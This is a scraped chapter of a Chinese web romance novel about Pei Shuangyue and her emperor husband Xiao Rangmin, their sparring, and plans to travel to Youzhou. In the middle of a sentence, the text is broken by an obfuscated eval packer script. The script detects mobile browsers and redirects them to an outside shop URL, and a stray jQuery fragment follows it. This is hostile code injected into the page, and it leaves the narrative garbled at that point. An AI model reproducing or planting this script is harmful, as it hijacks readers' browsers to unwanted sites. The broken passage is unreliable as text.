文趣网 > 其他小说 > 夫君,你和暴君撞脸了 > 56. 第 56 章
    接连数日,直至裴双月身子好转,耳鸣红疹等病症消失,她才放过身旁恶夫君的胸口。

    “夫君呢?”

    裴双月见这次喂她喝药的并非萧让旻,便问送药请脉的张京安。

    张京安把完脉道:“谢大人回京,公子出城送他一程,夫人可是有事找公子?”

    裴双月不大习惯“夫人”一称:“张大夫还是叫我裴姑娘吧,没事找他。”

    除薛楼喊她少夫人外,柳家兄弟常喊她裴姑娘或者二姑娘,她知晓萧让旻身份一重又一重,从未拆过台。

    但这次不同,张大夫性情稳重,最初叫的是裴姑娘,如今改口,仿佛她和萧让旻当真是夫妻。

    张京安抚过鬓边的金簪,螓首浅笑:“好,裴姑娘,只是公子聘我为姑娘的医师,这才改口。”

    裴双月了然:“原来如此,张大夫,你不必拘谨,我算是半个江湖儿女,没什么规矩。”

    张京安淡然,灵动发髻上的步摇轻颤,清眸染上些许笑意:“姑娘鲜活,难怪公子疼您。”

    裴双月扯了扯唇,有几分搭不上话的无力与尴尬。

    没人知道她与萧让旻并无夫妻之情,他疯狗似的报复她将他领回家生子,每日每夜都念叨要她为他生儿育女,估摸着她真怀上那日,他就得灌她一大桶落子汤。

    一想到枕边人的“真性情”,裴双月就想叹气,怨自己这两日咬他咬轻了,就该把他咬得害怕,让他主动接受和离书。

    晋州府城门外,最为华丽的马车外五丈远,有数众绥军守护,镶嵌象牙珊瑚的车厢内,萧让旻把玩杨家白衣十八骑的铜色令牌,笑意蛊人。

    “杨家与均平军结盟,对付朝廷亦可专攻严氏。”

    谢文拓担忧:“陛下与虎谋皮,若是……”

    “为虎者焉是他人?”萧让旻随手将铜色令牌扔至小桌,傲慢撩起眼睑,“表兄觉得七年不足以我长进?”

    谢文拓听他喊表兄,便知他将帝王身份抛至一旁,只以表兄弟身份与他商讨这事。

    “自然是大有长进。七年蛰伏,自该真龙现身,吞噬严氏。”

    谢文拓只能哄他,毕竟自幼谦让对方,早已成习,加之姑姑二人早亡,徒留下烂摊子给年幼的表弟,谁又能狠下心不疼他让他?

    话已出口,谢文拓没道理再唠叨些对方不爱听的,只能多使些精力辅佐表弟。

    他岔开话题,笑问:“那位裴姑娘,你未来可有打算?几等夫人?四妃还是九嫔?”

    萧让旻蹙眉:“发妻降妾乃律法不许,未来太子岂能不是嫡出?”

    谢文拓被这两句话震惊两遍。

    发妻?没有聘书仪式的发妻?

    未来太子?嫡出?到底是为了嫡出,还是只有裴姑娘的儿子才是太子?

    谢文拓理不清楚,也不想在朝廷民间一团乱麻与表弟定论后宫之事,勉强笑道:“是这个道理,只是裴姑娘身子弱,得好生休养才能生养吧?”

    “嗯。”萧让旻理所当然,“得休养好才能多生几个,若只生一个,往后会孤独,譬如没有人陪我做傀儡,若当年父皇母后多生几个儿女,受苦者何止我一人。”

    “……”

    姑姑和先帝没能多生,兴许也是怕再生一个表弟出来吧!

    谢文拓随口道:“时辰不早了,裴姑娘此时应当醒了,若是瞧不见你,兴许会担心,回城吧。”

    萧让旻倒不觉得裴双月会担心,但她可能不会好好吃药。

    习武之人哪有如她一般怕苦的!

    回城街上,萧让旻买了些蜜饯,回了府,翟明箬花枝招展拦住他。

    “你到底什么意思!表姐夫交代的事你何时才办?”

    翟明箬怒冲冲逼问,秀美脸蛋一片赤红。

    萧让旻语调懒散:“七日前已经办了,翟小姐这七日没有发现,还是忙着做其他事?”

    柳沐严将批条递与翟明箬:“我家公子与主……咳,与左将军是至交,粮草一事已在左将军掩护下送往平安城与幽州。”

    翟明箬心虚接过批条,上边还有鲜红的官印,气势如扎破的水球,哐当瘪了下去。

    “既然办好,那就启程回平安城!”

    萧让旻冷然牵唇,身后的柳沐严再次拿出一个字条。

    柳沐严笑呵呵展开给翟明箬看:“陆元帅传信,要我家公子先行到幽州打探,陆元帅的兵马将于四月攻入幽州。”

    翟明箬眼神懵懂迷茫:“为何表姐夫没有给我传信?”

    萧让旻抬起食指,柳沐严懂事的带人后退几步,他压低声音,上挑的丹凤眼漫出戏谑。

    “自然是周姑娘坦白你与她细作的身份,你那表姐夫已经知晓,至于为何不传信……”

    翟明箬脸色煞白,死死盯着萧让旻:“你给我表姐夫写了什么!什么细作!你污蔑我!”

    萧让旻再度抬手,指尖懒散向前,柳沐严护至他身后,请翟明箬冷静。

    “翟小姐,若是您那里不舒服,可以回院子休息,莫耽误两日后启程幽州。”

    “你到底写了什么!”

    萧让旻无视翟明箬的癫狂,掀唇侧身,回了他与裴双月的院子。

    裴双月恢复些气力,仍无法长时间行走,只能借助木轮椅,但她太想早日提剑,便扶着桌椅,在屋中行走练习。

    房门打开,是萧让旻信步身姿,他停住脚步,从头到尾打量一眼:“恢复得不错。在晋州府待两日启程,还是一个月后再启程?”

    裴双月警惕:“回平安城?”

    “去幽州。”萧让旻见她小腿颤抖,扯来轮椅,推至她身后,扶她坐下,“人生没有回头路。”

    “我想回头便回头。”

    裴双月指尖翻转,腕间用力,拔出与轮椅组装在一起的青霜剑。

    冰冷寒凛的剑刃直指萧让旻微微滚动的喉结。

    他倏地轻笑,双臂微张半举至身旁两侧,垂下眼睑瞧那一尘不染却隐有血腥气的铁剑,全无被威胁的姿态。

    他挑眸落向轮椅上面容似从前淡漠,双眸却多出几分任性恣意的女子。

    裴双月见他玩味戏谑,端端正正却莫名风流,仿若回到被他狎玩的夜晚,通身别扭。

    “我要回平安城。”她强调诉求。

    “从我这狼窟跳出,进你大师兄的蛇窟?”

    “……”

    裴双月眼角抽搐,仔细想想又觉得确实如此。

    两两相比,大师兄真不如眼前的畜生恶夫君。

    其一,大师兄癖好变态,好稚子幼女;萧让旻只对她一个倒霉蛋变态。

    其二……

    没了。

    裴双月实在想不出二人有的美好品质,诸如善良、真挚、诚实之类,反倒是奸诈、伪善、嚣张、傲慢,缺点一箩筐。

    “夫君。”裴双月持青霜剑,再度逼近他喉咙一寸,困惑询问,“你必定出身富贵,年幼时

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772828|205210||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    家中没有给你定亲?”

    “定过,推了。”萧让旻形容散漫闲适,“我怎会知晓那些小姐及笄后美丑善恶?若定下个丑的坏的,岂不是自讨苦吃。”

    裴双月手腕持剑长久,有几分酸软,忍不住蹙眉:“若当初选你的是……模样一般,你……”

    语句未完,被剑指的夫君已然发话。

    “娘子提出所谓的假设,是想验证我是个恶人?”

    裴双月哑口无言。

    萧让旻指尖掐住剑刃,墨眸微垂与她对视。

    “娘子,以你我的性情,注定要纠缠。假若当初是你阿姐,她足够通透,我与她会断的干净;假若当初是张姑娘,她足够天真,我与她会断的绝情;可偏偏是你。”

    他夺下青霜剑,在她不大高兴的目光注视下,将剑插回轮椅,低身与她呼吸交缠,在她黑亮纯粹的眸光中,习惯性吻她的唇角。

    “你夺走了我太多东西,哪有那般容易脱身?在我未找回前,阎王也不能收你。”

    裴双月不能理解他所谓夺走的东西,她分明一文钱没有拿,更是给他花了几两银子!

    “你的清白吗?”

    裴双月只能想到“强迫”他洞房的事,至于其他,她再没有逼迫过他。

    “如果是清白,你报官抓我吧。”裴双月俏脸豁出去的瞪他,“实在不解气,你把我扒光挂城门晾几日。”

    萧让旻:“……”

    这种毒辣招子,也就敌国攻城虐待俘虏时用过。

    “既然娘子身子好转,提得动剑,想来也提得起笔,这几日便由周姑娘与戚沅教娘子读书。”

    “我识字。”裴双月别扭表示,“那二人比我年纪小。”

    戚家周家都是爹娘生前的故交,那二人又给她叫一声双月姐,她怎能……

    “学问面前只有前辈后辈,娘子这般舍不得颜面,当真能接受赤身悬挂城门几日?”

    裴双月细细思索,正准备孤注一掷给萧让旻回答时,被他打断。

    “娘子若真想挂城门也可,只是得接阿姐过来,让她瞅……”

    “读书。”裴双月险些咬烂牙根子,“我读书识字够了么?”

    “娘子如此不情愿,还是算了。”萧让旻啧啧逗弄,“我吩咐柳沐严请阿姐过来一趟……”

    “我、情、愿、读、书。”

    裴双月一字一顿,心想这辈子没扯过这天一般大的谎。

    “夫君。”

    “嗯?”

    “你低些身,有脏东西。”

    萧让旻看她报复性满满的黑眸,咋舌她不会隐藏,又想知道她到底要如何做,便好奇地将身子压得更低。

    “嘶——”

    “裴双月,撒口!”

    他沉声摁住胸前人的头颅,又不能使力推她,万一她没轻没重,真给他咬下来,那还得了!

    “撒口!”

    “裴双月,再不松口,今夜喝药你别想吃一口蜜饯!”

    最终,胸前的妻子不舍地松口,萧让旻冷哼:“果真一个猴一个栓法。”

    裴双月眨眸:?

    瞬息间,她向下抓过去,用尽巧劲与力度揉捏,仰头看恶夫君憋红隐忍的隽容,看他抿唇紧绷的唇角。

    “夫君,我身子虚弱,你不会与我行房,对么?”

    “……自然。”萧让旻回以她同样狡黠的唇角弧度,“娘子今日要抄三遍千字文,哪里有力气同我敦伦。”